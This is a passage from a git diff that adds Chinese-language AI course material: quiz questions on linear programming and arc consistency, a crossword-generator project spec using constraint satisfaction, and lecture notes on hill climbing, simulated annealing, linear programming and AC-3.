个小时,种植一英亩`作物 2` 需要 2 个小时。农民在供应方面也很有限:他有足够的供应种植 10 英亩的`作物 1`,有足够的资源种植 4 英亩的`作物 2`。假设变量 C1 表示要种植的`作物 1` 的英亩数,变量 C2 表示要种植`作物 2` 的英亩数。 + + 对于这个问题,什么是有效的目标函数? + + 1. 10 \* C1 + 4 \* C2 + 2. -3 \* C1 - 2 \* C2 + 3. 500 \* 10 \* C1 + 400 \* 4 \* C2 + 4. 500 \* C1 + 400 \* C2 + 5. C1 + C2 + +3. 这个问题的制约因素是什么? + 1. 3 \* C1 + 2 \* C2 <= 12, C1 <= 10, C2 <= 4 + 2. 3 \* C1 + 2 \* C2 <= 12, C1 + C2 <= 14 + 3. 3 \* C1 <= 10, 2 \* C2 <= 4 + 4. C1 + C2 <= 12, C1 + C2 <= 14 + +4. 下面的问题将问你以下考试安排约束满足图,其中每个节点代表一个课程。每门课程都与可能的考试日的初始域相关联(大多数课程可能在周一、周二或周三;少数课程已经被限制在一天内)。两个节点之间的边意味着这两个课程必须在不同的日子进行考试。 + + 在对整个问题满足弧一致性之后,变量 C、D 和 E 的结果域是什么? + + 1. C 的域是\{Mon,Tue\},D 的域是\{Wed\},E 的域是\{Mon\} + 2. C 的域是\{Mon\},D 的域是\{Wed\},E 的域为\{Tue\} + 3. C 的域是\{Mon\},D 的域是\{Tue\},E 的域为\{Wed\} + 4. C 的域是\{Mon\},D 的域是\{Mon,Wed\},E 的域是\{Tue,Wed\} + 5. C 的域是\{Mon,Tue,Wed\},D 的域是\{Mon,Wed\},E 的域是\{Mon,Tue,Wed\} + 6. C 的域是\{Mon\},D 的域是\{Mon,Wed\},E 的域是\{Mon,Tue,Wed\} diff --git a/4.人工智能/4.3.4.2项目:填词游戏.md b/4.人工智能/4.3.4.2项目:填词游戏.md new file mode 100644 index 0000000..cead1ef --- /dev/null +++ b/4.人工智能/4.3.4.2项目:填词游戏.md @@ -0,0 +1,138 @@ +# 项目——填词游戏 + +::: tip +我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 + +如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 +::: + +::: tip 📥 +本节附件下载 +::: + +编写一个人工智能来完成填词游戏。 + +能够实现将文字转换为图片。 + +```shell +$ python generate.py data/structure1.txt data/words1.txt output.png +|█|█|█|█|█|█|█|█|█|█|█|█|█|█| +|█|█|█|█|█|█|█|M|█|█|█|█|R|█| +|█|I|N|T|E|L|L|I|G|E|N|C|E|█| +|█|N|█|█|█|█|█|N|█|█|█|█|S|█| +|█|F|█|█|L|O|G|I|C|█|█|█|O|█| +|█|E|█|█|█|█|█|M|█|█|█|█|L|█| +|█|R|█|█|█|S|E|A|R|C|H|█|V|█| +|█|█|█|█|█|█|█|X|█|█|█|█|E|█| +|█|█|█|█|█|█|█|█|█|█|█|█|█|█| +``` + +![4.3.4.2-0](static/4.3.4.2-0.png) + +## 背景 + +你如何生成一个填字游戏?考虑到填字游戏的结构 (即网格中哪些方格需要填入字母),以及要使用的单词列表,问题就变成了选择哪些单词应该填入每个垂直或水平的方格序列。我们可以将这种问题建模为一个约束满足问题。每一个方格序列都是一个变量,我们需要决定它的值 (在可能的单词域中哪个单词将被填入该序列)。考虑一下下面的字谜结构。 + +![4.3.4.2-1](static/4.3.4.2-1.png) + +在这个结构中,我们有四个变量,代表了我们需要填入这个字谜的四个单词 (在上图中每个单词都用数字表示)。每个变量由四个值定义:它开始的行 (`i`值),它开始的列 (`j`值),单词的方向 (纵向或横向 down or across),以及单词的长度。例如,`变量1`将是一个由第 1 行 (假设从顶部计数的 0 索引)、第 1 列 (假设从左边计数的 0 索引)、方向为`across`和`4`的长度表示的变量。 + +与许多约束满足问题一样,这些变量有一元和二元约束。变量的一元约束是由其长度决定的。例如,对于`变量1`来说,数值`BYTE`可以满足一元约束,但是数值`BIT`则不能 (它有错误的字母数量)。因此,任何不满足变量的一元约束的值都可以立即从变量的域中删除。 + +变量的二元约束是由其与相邻变量的重合度给出的。`变量1`有一个邻居:`变量2`。`变量2`有两个邻居:`变量1`和`变量3`。对于每一对相邻的变量,这些变量都有一个重叠部分:一个它们共同的单方块。我们可以将这种重叠表示为每个变量有用相同字符位置的索引对。例如,`变量1`和`变量2`之间的重叠可以表示为一对`(1, 0)`,这意味着`变量1`在索引 1 处的字符必然与`变量2`在索引 0 处的字符相同 (再次假设索引从 0 开始)。因此,`变量2`和`变量3`之间的重叠将被表示为一对`(3, 1)`,`变量2`的值的字符`3`必须与`变量3`的值的字符`1`相同。 + +对于这个问题,我们将增加一个额外的约束条件,即所有的单词必须是不同的:同一个单词不应该在谜题中重复出现多次。 + +那么,接下来的挑战是写一个程序来找到一个满意的赋值:为每个变量提供一个不同的词 (来自给定的词汇表),从而满足所有的一元和二元约束。 + +## 理解 + +这个项目中有两个 Python 文件:`crossword.py`和`generate.py`。第一个文件已经完全为你写好了,第二个文件有一些函数留给你去实现。 + +首先,让我们看一下`crossword.py`。这个文件定义了两个类,`Variable`(代表填字游戏中的变量) 和`Crossword`(代表填字游戏本身)。 + +注意,要创建一个变量,我们必须指定四个值:它的第`i`行,第`j`列,它的方向 (常数`Variable.ACROSS`或常数`Variable.DOWN``),以及它的长度(`length``)。 + +字谜类需要两个值来创建一个新的字谜:一个定义了字谜结构的`structure_file`(`_`用来代表空白单元格,任何其他字符都代表不会被填入的单元格) 和一个定义了字词列表 (每行一个) 的`word_file`,用来作为游戏的词汇表。这些文件的三个例子可以在项目的数据目录中找到,也欢迎你自己创建。 + +特别要注意的是,对于任何一个字谜对象的字谜,我们都会存储以下的数值: + +- `crossword.height`是一个整数,代表填字游戏的高度。 +- `crossword.width`是一个整数,代表填字游戏的宽度。 +- `crossword.structure`是一个二维列表,代表字谜的结构。对于任何有效的第 i 行和第 j 列,如果该单元格是空白的,`crossword.structure[i][j]`将为真 (必须在该单元格中填入一个字符),否则将为假 (该单元格中没有字符要填)。 +- `crossword.words`是一个包含所有单词的集合,在构建填字游戏的时候,可以从这些单词中提取。 +- `crossword.variables`是谜题中所有变量的集合 (每个变量都是一个 Variable 对象)。 +- `crossword.overlaps`是一个字典,它将一对变量映射到它们的重合处。对于任何两个不同的变量 v1 和 v2,如果这两个变量没有重叠,`crossword.overlaps[v1, v2]`将是`None`,如果这两个变量有重叠,则是一对整数`(i, j)`。这对`(i, j)`应被解释为:`v1`的第`i`个字符的值必须与`v2`的第`j`个字符的值相同。 + +`Crossword`对象还支持一个方法`neighbors`,它可以返回与给定变量重叠的所有变量。也就是说,`crossword.neighbors(v1)`将返回一个与变量`v1`相邻的所有变量的集合。 + +接下来,看一下`generate.py`。在这里,我们定义了一个`CrosswordCreator`类,我们将用它来解决填字游戏。当一个`CrosswordCreator`对象被创建时,它得到一个填字游戏的属性,它应该是一个`Crossword`对象 (因此具有上面描述的所有属性)。每个`CrosswordCreator`对象还得到一个域属性:一个字典,它将变量映射到该变量可能作为一个值的一组词。最初,这组词是我们词汇表中的所有词,但我们很快就会写函数来限制这些域。 + +我们还为你定义了一些函数,以帮助你测试你的代码:`print`将向终端打印你的填字游戏的一个给定的赋值 (每个赋值,在这个函数和其他地方,是一个字典,将变量映射到它们相应的词)。同时,`save`将生成一个与给定作业相对应的图像文件 (如果你无法使用这个函数,你需要`pip3 install Pillow`)。 `letter_grid`是一个被`print`和`save`使用的辅助函数,它为给定的赋值生成一个所有字符在其适当位置的 2D 列表:你可能不需要自己调用这个函数,但如果你想的话,欢迎你这样做。 + +最后,注意`solve`函数。这个函数做了三件事:首先,它调用`enforce_node_consistency`来强制执行填字游戏的节点一致性,确保变量域中的每个值都满足一元约束。接下来,该函数调用`ac3`来强制执行弧一致性,确保二元约束得到满足。最后,该函数在最初的空赋值 (空字典 dict()) 上调用`backtrack`,试图计算出问题的解决方案。 + +不过,`enforce_node_consistency`、`ac3`和`backtrack`等函数还没有实现 (以及其他函数)。这就是你的任务。 + +## 明确 + +完成`grece_node_consistency`, `revise`, `ac3`, `assignment_complete`, `consistent`, `order_domain_values`, `selected_unassigned_variable`和`backtrack`在`generate.py`中的实现,这样如果有有解的话你的人工智能就能生成完整的字谜。 + +- `enforce_node_consistency`函数应该更新`self.domains`,使每个变量都是节点一致的。 + - 回顾一下,当对每个变量来说,其域中的每个值都与该变量的一元约束一致时,就实现了节点一致性。在填字游戏的情况下,这意味着要确保变量域中的每个值的字母数与变量的长度相同。 + - 要从一个变量`v`的域中移除一个值`x`,因为`self.domains`是一个将变量映射到数值集的字典,你可以调用`self.domains[v].remove(x)`。 + - 这个函数不需要返回值。 +- `revise`函数应该使变量 x 与变量 y 保持弧一致性。 + - `x`和`y`都是`Variable`对象,代表谜题中的变量。 + - 回顾一下,当`x`的域中的每一个值在`y`的域中都有一个不引起冲突的可能值时,`x`就与`y`保持弧一致性。(在填字游戏的背景下,冲突是指一个方格,两个变量对它的字符值意见不一)。 + - 为了使`x`与`y`保持一致,你要从`x`的域中删除任何在`y`的域中没有相应可能值的值。 + - 回顾一下,你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠,如果有的话。 + - `y`的域应该不被修改。 + - 如果对`x`的域进行了修改,该函数应返回`True`;如果没有修改,则应返回`False`。 + +- `ac3`函数应该使用`AC3`算法,对问题实施弧一致性。回顾一下,当每个变量域中的所有值都满足该变量的二进制约束时,就实现了弧一致性。 + - 回顾一下,`AC3`算法保持着一个要处理的弧的队列。这个函数需要一个叫做`arcs`的可选参数,代表要处理的弧的初始列表。如果`arcs`是`None`,你的函数应该从问题中的所有弧的初始队列开始。否则,你的算法应该从一个初始队列开始,该队列中只有在列表`arcs`中的弧 (其中每个弧是一个变量`x`和另一个变量`y`的元组`(x,y)`)。 + - 回顾一下,为了实现`AC3`,你要一次一次地修改队列中的每个弧。不过,任何时候你对一个域做了改变,你可能需要在队列中增加额外的弧,以确保其他弧保持一致。 + - 你可能会发现在`ac3`的实现中调用`revise`函数是很有帮助的。 + - 如果在执行弧一致性的过程中,你从一个域中删除了所有剩余的值,则返回`False`(这意味着问题无解,因为这个变量已经没有可能的值了)。否则,返回`True`。 + - 你不需要担心在这个函数中强制执行词的唯一性 (你将在`consistent`函数中实现这个检查。) + +- `assignment_complete`函数应该 (如其名所示) 检查一个给定的赋值是否完成。 + - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将采取的单词的字符串。 + - 如果每个字谜变量都被分配到一个值 (不管这个值是什么),那么这个赋值就是完整的。 + - 如果赋值完成,该函数应该返回`True`,否则返回`False`。 + +- `consistent`函数应该检查一个给定的`assignment`是否一致。 + - `assignment`是一个字典,其中的键是`Variable`对象,值是代表这些变量将采取的词语的字符串。请注意,赋值不一定是完整的:不是所有的变量都会出现在赋值中。 + - 如果一个赋值满足问题的所有约束条件,那么它就是一致的:也就是说,所有的值都是不同的,每个值的长度都是正确的,并且相邻的变量之间没有冲突。 + - 如果赋值是一致的,该函数应该返回`True`,否则返回`False`。 + +- `order_domain_values`函数应该返回一个`var`域中所有数值的列表,根据最小约束值启发式排序。 + - `var`将是一个变量对象,代表谜题中的一个变量。 + - 回顾一下,最小约束值启发式的计算方法是一个赋值导致约束邻近的未分配的变量的数量。也就是说,如果给`var`赋值的结果是排除了邻近变量的`n`个可能的选择,你应该按照`n`的升序排列你的结果。 + - 请注意,在`assignment`中出现的任何变量都已经有了一个值,因此在计算相邻未赋值变量被排除的值的数量时不应该被计算在内。 + - 对于排除相邻变量相同数量可能选择的域值,任何排序都是可以接受的。 + - 回顾一下,你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠,如果有的话。 + - 首先通过返回一个任意顺序的数值列表来实现这个函数可能会有帮助 (这仍然会产生正确的填字游戏)。一旦你的算法开始工作,你就可以回去确保这些值是以正确的顺序返回的。 + - 你可能会发现根据一个特定的 key 来对一个[列表](https://docs.python.org/3/howto/sorting.html)进行排序是很有帮助的:Python 包含一些有用的函数来实现这一点。 + +- `select_unassigned_variable`函数应该根据最小剩余值启发式,然后是度启发式,返回字谜中尚未被赋值的单个变量。 + - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的:不是所有的变量都会出现在`assignment`中。 + - 你的函数应该返回一个`Variable`对象。你应该返回在其域中剩余数值最少的变量。如果变量之间存在平局,你应该在这些变量中选择度最大的变量 (拥有最多的邻居)。如果在这两种情况下都相同,你可以在相同的变量中任意选择。 + - 首先通过返回任意未分配的变量来实现这个函数可能是有帮助的 (这应该仍然会产生正确的填字游戏)。一旦你的算法开始工作,你就可以回去修改这个函数确保你是根据启发式方法返回一个变量。 + - 你可能会发现根据一个特定的 key 来对一个列表进行[排序](https://docs.python.org/3/howto/sorting.html)是很有帮助的:Python 包含一些有用的函数来实现这一点。 + +- `backtrack`函数应该接受一个部分赋值`assignment`作为输入,并且使用回溯搜索,如果有可能的话,返回一个完整的令人满意的变量赋值。 + - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的:不是所有的变量都会出现在`assignment`中。 + - 如果有可能生成一个令人满意的字谜,你的函数应该返回完整的赋值:一个字典,其中每个变量是一个键,值是该变量应该承担的单词。如果不可能产生令人满意的赋值,该函数应该返回`None`。 + - 如果你愿意,你可能会发现,如果你把搜索和推理交织在一起,你的算法会更有效率 (比如每次做新的赋值时都要保持弧一致性)。我们不要求你这样做,但允许你这样做,只要你的函数仍然产生正确的结果。(正是由于这个原因,`ac3`函数允许一个`arcs`的参数,以防你想从不同的弧队列开始)。 + +除了要求你实现的函数外,你不应该修改`generate.py`中的任何其他东西,尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果你熟悉`numpy`或`pandas`,你也可以导入它们,但是你不应该使用任何其他的第三方 Python 模块。你不应该修改`crossword.py`中的任何东西。 + +## 提示 + +- 对于`order_domain_values`和`select_unassigned_variable`来说,不以启发式方法实现它们,然后再添加启发式方法可能会有帮助。你的算法仍然可以工作:只是在找到一个解决方案之前,它可能会探索更多的分配,而不是它需要的。 + +- 要运行你的程序,你可以运行类似`python generate.py data/structure1.txt data/words1.txt`的命令,指定一个结构文件和一个单词文件。如果可以进行赋值,你应该看到打印出来的赋值。你也可以为图像文件添加一个额外的命令行参数,如运行`python generate.py data/structure1.txt data/words1.txt output.png`,可以为生成的填字游戏生成一个图像表示。 + +- `Crossword`类有一个`neighbors`函数,可以用来访问某个特定变量的所有邻居 (即重叠的变量)。在你需要确定某个特定变量的邻居时,请随时使用这个函数。 diff --git a/4.人工智能/4.3.4最优化.md b/4.人工智能/4.3.4最优化.md new file mode 100644 index 0000000..4121466 --- /dev/null +++ b/4.人工智能/4.3.4最优化.md @@ -0,0 +1,301 @@ +# 最优化 + +最优化是指从一组可能的选项中选择最佳选项。我们已经遇到过试图找到最佳选项的问题,比如在极大极小算法中,今天我们将学习一些工具,可以用来解决更广泛的问题。 + +## 局部搜索 (Local Search) + +局部搜索是一种保持单一节点并通过移动到邻近的节点进行搜索的搜索算法。这种类型的算法与我们之前看到的搜索类型不同。例如,在解决迷宫的过程中,我们想找到通往目标的最快捷的方法,而局部搜索则对寻找问题的最佳答案感兴趣。通常情况下,局部搜索会带来一个不是最佳但 "足够好 "的答案,以节省计算能力。考虑一下下面这个局部搜索问题的例子:我们有四所房子在设定的位置。我们想建两所医院,使每所房子到医院的距离最小。这个问题可以形象地描述如下: + +![4.3.4-0](static/4.3.4-0.png) + +在这幅图中,我们看到的是房屋和医院的可能配置。它们之间的距离是用曼哈顿距离 (向上、向下和向两侧移动的次数;在[搜索](4.3.1搜索.md) 中详细讨论) 来衡量的,从每个房子到最近的医院的距离之和是 17。我们称其为成本 __(cost)__,因为我们试图使这个距离最小化。在这种情况下,一个状态将是房屋和医院的任何一个配置。 + +把这个概念抽象化,我们可以把每一种房屋和医院的配置表现为下面的状态空间图。图中的每一条都代表一个状态的值,在我们的例子中,它是房屋和医院配置的成本。 + +![4.3.4-1](static/4.3.4-1.png) + +从这个可视化的角度来看,我们可以为我们接下来的讨论定义几个重要的术语: + +- 目标函数 __(Objective Function)__ 是一个函数,我们用它来最大化解决方案的值。 +- 成本函数 __(Cost Function)__ 是一个我们用来最小化解决方案成本的函数 (这就是我们在房屋和医院的例子中要使用的函数。我们想要最小化从房屋到医院的距离)。 +- 当前状态 __(Current State)__ 是指函数目前正在考虑的状态。 +- 邻居状态 __(Neighbor State)__ 是当前状态可以过渡到的一个状态。在上面的一维状态空间图中,邻居状态是指当前状态两侧的状态。在我们的例子中,邻居状态可以是将其中一家医院向任何方向移动一步所产生的状态。邻居状态通常与当前状态相似,因此,其值与当前状态的值接近。 + +请注意,局部搜索算法的工作方式是考虑当前状态下的一个节点,然后将该节点移动到当前状态的一个邻节点处。这与极大极小算法不同,例如,在极大极小算法中,状态空间中的每一个状态都被递归地考虑。 + +## 爬山算法 (Hill Climbing) + +爬山算法是局部搜索算法的一种类型。在这个算法中,邻居的状态与当前的状态进行比较,如果其中任何一个状态更好,我们就把当前的节点从当 - 的状态改为该邻居的状态。“好状态”的定义是由目标函数决定的,倾向于一个较高的值,或一个递减函数,倾向于一个较低的值。 + +一个爬山算法在伪代码中会有以下样子: + +```txt +function Hill-Climb(problem): + current = initial state of problem + repeat: + neighbor = best valued neighbor of current + if neighbor not better than current: + return current + current = neighbor +``` + +在这个算法中,我们从一个当前状态开始。在一些问题中,我们会知道当前的状态是什么,而在其他问题中,我们将不得不从随机选择一个状态开始。然后,我们重复以下动作:我们评估邻居状态,选择一个具有最佳值的邻居状态。然后,我们将这个邻居状态的值与当前状态的值进行比较。如果邻居状态更好,我们将当前状态切换到邻居状态,然后重复这个过程。当我们将最佳邻居与当前状态进行比较,并且当前状态更好时,该过程就结束了。然后,我们返回当前状态。 + +使用爬山算法,我们可以开始改进我们在例子中分配给医院的位置。经过几次转换,我们得到了以下状态: + +![4.3.4-2](static/4.3.4-2.png) + +在这个状态下,成本是 11,比初始状态的成本 17 有所提高。然而,这还不是最佳状态。例如,将左边的医院移到左上角的房子下面,会使成本达到 9,比 11 好。然而,这个版本的爬山算法无法达到这个目标,因为所有的邻居状态都至少和当前状态的成本一样高。从这个意义上说,爬坡算法是短视的,它经常满足于比其他一些解决方案更好的解决方案,但不一定是所有可能的解决方案中最好的。 + +### 局部和全局最小值和最大值 + +如上所述,爬山算法可能卡在局部最大值或最小值中。局部最大值是一个比其相邻状态有更高值的状态。而全局最大值是指在状态空间的所有状态中具有最高值的状态。 + +![4.3.4-3](static/4.3.4-3.png) + +相比之下,局部最小值是一个比其相邻状态的值更低的状态。与此相对,全局最小值是指在状态空间中所有状态中具有最低值的状态。 + +![4.3.4-4](static/4.3.4-4.png) + +爬山算法的问题是,它们可能会在局部最小和最大中结束。一旦算法到达一个点,其邻居状态就目标函数而言,比当前状态更糟糕,算法就会停止。特殊类型的局部最大值和最小值包括平坦的局部最大值/最小值 __(flat local maximum/minimum)__,即多个数值相同的状态相邻,形成一个plateau,其邻居状态的数值更差;以及 __shoulder__,邻居状态既可以更好,也可以更差。从 plateau 的中间开始,算法将无法向任何方向推进。 + +![4.3.4-5](static/4.3.4-5.png) + +### 爬山算法的变体 + +由于爬山算法的局限性,人们想到了多种变体来克服卡在局部最小值和最大值的问题。该算法的所有变体的共同点是,无论采用何种策略,每一种变体都有可能陷入局部最小或最大,并且没有办法继续优化。下面的算法是这样表述的:数值越大越好,但它们也适用于成本函数,其目标是使成本最小化。 + +- __Steepest-ascent__: 选择值最高的邻居状态。 +- Stochastic: 从值较高的邻居状态中随机选择。这样做,我们选择去任何比我们的值更高的方向。 +- __First-choice__: 选择第一个值较高的邻居状态。 +- __Random-restart__: 进行多次爬山。每次都从一个随机状态开始。比较每次试验的最大值,并在这些最大值中选择一个。 +- __Local Beam Search__: 选择值最高的 k 个邻居状态。这与大多数本地搜索算法不同,它使用多个节点进行搜索,而不是只有一个节点。 + +虽然局部搜索算法并不总是给出最好的解决方案,但在考虑所有可能的状态在计算上不可行的情况下,它们往往能给出足够好的解决方案。 + +## 模拟退火算法 (Simulated Annealing) + +尽管我们已经看到了可以改进爬山算法的变种,但它们都有一个共同的错误:一旦算法达到局部最大值,它就会停止运行。模拟退火算法允许算法在卡在局部最大值时"摆脱"自己。 + +退火是指加热金属并让其缓慢冷却的过程,其作用是使金属变硬。这被用来比喻模拟退火算法,该算法开始时温度较高,更有可能做出随机决定,随着温度的降低,它变得不太可能做出随机决定,变得更加"坚定"。这种机制允许算法将其状态改变为比当前状态更差的邻居状态,这就是它如何摆脱局部最大值的原因。以下是模拟退火法的伪代码: + +```txt +function Simulated-Annealing(problem, max): + current = initial state of problem + for t = 1 to max: + T = Temperature(t) + neighbor = random neighbor of current + ΔE = how much better neighbor is than current + if ΔE > 0: + current = neighbor + with probability e^(ΔE/T) set current = neighbor + return current +``` + +该算法将一个`problem`和`max`作为输入,`max`是它应该重复的次数。对于每个迭代,`T`是用一个`Temperature`函数来设置的。这个函数在早期迭代中返回一个较高的值 (当`t`较低时),在后期迭代中返回一个较低的值 (当`t`较高时)。然后,随机选择一个邻居状态,并计算`ΔE`,使其量化邻居状态比当前状态好的程度。如果邻居状态比当前状态好 (`ΔE>0`),像以前一样,我们将当前状态设置为邻居状态。然而,当邻居状态较差时 (`ΔE<0`),我们仍然可能将我们的当前状态设置为该邻居状态,并且我们以$e^{ΔE/t}$的概率这样做。这里的意思是,更小的`ΔE`将导致邻居状态被选择的概率降低,而温度`t`越高,邻居状态被选择的概率越高。这意味着邻居状态越差,被选择的可能性就越小,而算法在其过程中越早,就越有可能将一个较差的邻居状态设置为当前状态。这背后的数学原理如下:`e`是一个常数 (大约 2.72),`ΔE`是负数 (因为这个邻居比当前状态更糟糕)。温度`t`越高,ΔE/`t`就越接近于 0,使概率更接近于 1。 + +### 旅行商问题 (Traveling Salesman Problem) + +在旅行商问题中,任务是连接所有的点,同时选择最短的距离。例如,这就是快递公司需要做的事情:找到从商店到所有客户家的最短路线,然后再返回。 + +| 优化前 | 优化后 | +| ------------------------------ | ------------------------------ | +| ![4.3.4-6](static/4.3.4-6.png) | ![4.3.4-7](static/4.3.4-7.png) | + +在这种情况下,邻居状态可以被看作是两个箭头互换位置的状态。计算每一个可能的组合使得这个问题在计算上要求很高 (10 个点给了我们 10! 或者说 3,628,800 条可能的路线)。通过使用模拟退火算法,可以以较低的计算成本找到一个好的解决方案。 + +## 线性规划 (Linear Programming) + +线性规划是一个优化线性方程 (y=ax₁+bx₂+...形式的方程) 的问题系列。 + +线性规划有以下内容: + +- 一个我们想要最小化的成本函数:c₁x₁ + c₂x₂ + ... + cₙxₙ。这里,每个 x 是一个变量,它与一些成本 c 相关联。 +- 一个约束条件,它表示为一个变量的总和,它要么小于或等于一个值 (a₁x₁+a₂x₂+...+aₙxₙ≤b),要么正好等于这个值 (a₁x₁+a₂x₂+...+aₙxₙ=b)。在这种情况下,x 是一个变量,a 是与之相关的一些资源,而 b 是我们可以为这个问题投入多少资源。 +- 变量的域 (例如,一个变量不能是负数),形式为 lᵢ≤xᵢ≤uᵢ。 + +请考虑以下例子: + +- 两台机器,X₁和 X₂。X₁的运行成本为 50 美元/小时,X₂的运行成本为 80 美元/小时。我们的目标是使成本最小化。这可以被表述为一个成本函数:50x₁+80x₂。 +- X₁每小时需要 5 个单位的劳动力。X₂每小时需要 2 个单位的劳动力。总共需要花费 20 个单位的劳动力。这可以被形式化为一个约束条件:5x₁ + 2x₂ ≤ 20。 +- X₁每小时生产 10 个单位的产品。X₂每小时生产 12 个单位的产品。公司需要 90 个单位的产出。这是另一个约束条件。从字面上看,它可以被改写为 10x₁+12x₂≥90。然而,约束条件必须是 (a₁x₁+a₂x₂+...+aₙxₙ≤b) 或 (a₁x₁+a₂x₂+...+aₙxₙ=b)。因此,我们乘以 (-1),得到一个所需形式的等价方程:(-10x₁)+(-12x₂)≤-90。 + +线性规划的优化算法需要几何学和线性代数的背景知识,而我们并不想假设这些知识。相反,我们可以使用已经存在的算法,如 Simplex 和 Interior-Point。 + +下面是一个使用 Python 中 scipy 库的线性规划例子: + +```python +import scipy.optimize +# Objective Function: 50x_1 + 80x_2 +# Constraint 1: 5x_1 + 2x_2 <= 20 +# Constraint 2: -10x_1 + -12x_2 <= -90 +result = scipy.optimize.linprog( + [50, 80], # Cost function: 50x_1 + 80x_2 + A_ub=[[5, 2], [-10, -12]], # Coefficients for inequalities + b_ub=[20, -90], # Constraints for inequalities: 20 and -90 +) +if result.success: + print(f"X1: {round(result.x[0], 2)} hours") + print(f"X2: {round(result.x[1], 2)} hours") +else: + print("No solution") +``` + +## 约束满足(Constraint Satisfaction) + +约束满足问题是一类需要在满足某些条件下为变量赋值的问题。 + +约束条件满足问题具有一下特性: + +- 变量集合{x₁,x₂,...,xₙ}。 +- 每个变量域的集合{D₁, D₂, ..., Dₙ}。 +- 一组约束条件 C + +数独可以表示为一个约束满足问题,每个空方块是一个变量,域是数字 1-9,而约束是不能彼此相等的方块。 + +![4.3.4-8](static/4.3.4-8.png) + +再考虑一个例子。每个学生 1-4 都在选修 A、B、...、G 中的三门课程。每门课程都需要有考试,可能的考试日是星期一、星期二和星期三。但是,同一个学生不能在同一天有两次考试。在这种情况下,变量是课程,域是天数,约束条件是哪些课程不能在同一天安排考试,因为是同一个学生在考试。这可以直观地显示如下: + +![4.3.4-9](static/4.3.4-9.png) + +这个问题可以用约束条件来解决,约束条件用图来表示。图中的每个节点是一门课程,如果两门课程不能安排在同一天,则在它们之间画一条边。在这种情况下,该图看起来是这样的: + +![4.3.4-10](static/4.3.4-10.png) + +关于约束满足问题,还有几个值得了解的术语: + +- 硬约束 (Hard Constraint) 是指在一个正确的解决方案中必须满足的约束。 +- 软约束 (Soft Constraint) 是一种约束,表示哪种解决方案比其他解决方案更受欢迎。 +- 一元约束 (Unary Constraint) 是指只涉及一个变量的约束。在我们的例子中,一元约束是指课程 A 在周一不能有考试{A≠周一}。 +- 二元约束 (Binary Constraint) 是一种涉及两个变量的约束。这就是我们在上面的例子中使用的约束类型,表示两个课程不能有相同的值{A ≠ B}。 + +### 节点一致性 (Node Consistency) + +节点一致性是指一个变量域中的所有值都满足该变量的一元约束。 + +例如,让我们拿两门课程,A 和 B。每门课程的域是{Monday, Tuesday, Wednesday},约束条件是{A≠Mon,B≠Tue,B≠Mon,A≠B}。现在,A 和 B 都不是一致的,因为现有的约束条件使它们不能取其域中的每一个值。然而,如果我们从 A 的域中移除 Monday,那么它就会有节点一致性。为了实现 B 的节点一致性,我们必须从它的域中删除 Monday 和 Tuesday。 + +### 弧一致性 (Arc Consistency) + +弧一致性是指一个变量域中的所有值都满足该变量的二元约束 (注意,我们现在用"弧"来指代我们以前所说的 "边")。换句话说,要使 X 对 Y 具有弧一致性,就要从 X 的域中移除元素,直到 X 的每个选择都有 Y 的可能选择。 + +考虑到我们之前的例子,修改后的域:A:{Tuesday, Wednesday}和 B:{Wednesday}。如果 A 与 B 是弧一致的,那么无论 A 的考试被安排在哪一天 (从它的域来看),B 仍然能够安排考试。A 与 B 是弧一致的吗?如果 A 取值为 Tuesday,那么 B 可以取值为 Wednesday。然而,如果 A 取值为 Wednesday,那么就没有 B 可以取的值 (记住,其中一个约束是 A≠B)。因此,A 与 B 不是弧一致的。为了改变这种情况,我们可以从 A 的域中删除 Wednesday。然后,A 的任何取值 (Tuesday 是唯一的选择) 都会给 B 留下一个取值 (Wednesday)。现在,A 与 B 是弧一致的。让我们看看一个伪代码的算法,使一个变量相对于其他变量是弧一致的 (注意,csp 代表 "约束满足问题")。 + +```python +function Revise(csp, X, Y): + revised = false + for x in X.domain: + if no y in Y.domain satisfies constraint for (X,Y): + delete x from X.domain + revised = true + return revised +``` + +这个算法从跟踪 X 的域是否有任何变化开始,使用变量 revised,这在我们研究的下一个算法中会很有用。然后,代码对 X 的域中的每一个值进行重复,看看 Y 是否有一个满足约束条件的值。如果是,则什么都不做,如果不是,则从 X 的域中删除这个值。 + +通常情况下,我们感兴趣的是使整个问题的弧一致,而不仅仅是一个变量相对于另一个变量的一致性。在这种情况下,我们将使用一种叫做 AC-3 的算法,该算法使用 Revise: + +```python +function AC-3(csp): + queue = all arcs in csp + while queue non-empty: + (X, Y) = Dequeue(queue) + if Revise(csp, X, Y): + if size of X.domain == 0: + return false + for each Z in X.neighbors - {Y}: + Enqueue(queue, (Z,X)) + return true +``` + +该算法将问题中的所有弧添加到一个队列中。每当它考虑一个弧时,它就把它从队列中删除。然后,它运行 Revise 算法,看这个弧是否一致。如果做了修改使其一致,则需要进一步的行动。如果得到的 X 的域是空的,这意味着这个约束满足问题是无法解决的 (因为没有任何 X 可以取的值会让 Y 在约束条件下取任何值)。如果问题在上一步中没有被认为是不可解决的,那么,由于 X 的域被改变了,我们需要看看与 X 相关的所有弧是否仍然一致。也就是说,我们把除了 Y 以外的所有 X 的邻居,把他们和 X 之间的弧添加到队列中。然而,如果 Revise 算法返回 false,意味着域没有被改变,我们只需继续考虑其他弧。 + +虽然弧一致性的算法可以简化问题,但不一定能解决问题,因为它只考虑了二元约束,而没有考虑多个节点可能的相互连接方式。我们之前的例子中,4个学生中的每个人都在选修3门课程,对其运行AC-3后,仍然没有变化。 + +我们讲过[搜索](4.3.1搜索.md)问题。一个约束满足问题可以被看作是一个搜索问题: + +- 初始状态 (Initial state):空赋值 (所有变量都没有分配任何数值)。 +- 动作 (Action):在赋值中加入一个{变量=值};也就是说,给某个变量一个值。 +- 过渡模型 (Transition model):显示添加赋值如何改变变量。这没有什么深度:过渡模型返回包括最新动作后的赋值的状态。 +- 目标测试 (Goal test):检查所有变量是否被赋值,所有约束条件是否得到满足。 +- 路径成本函数 (Path cost 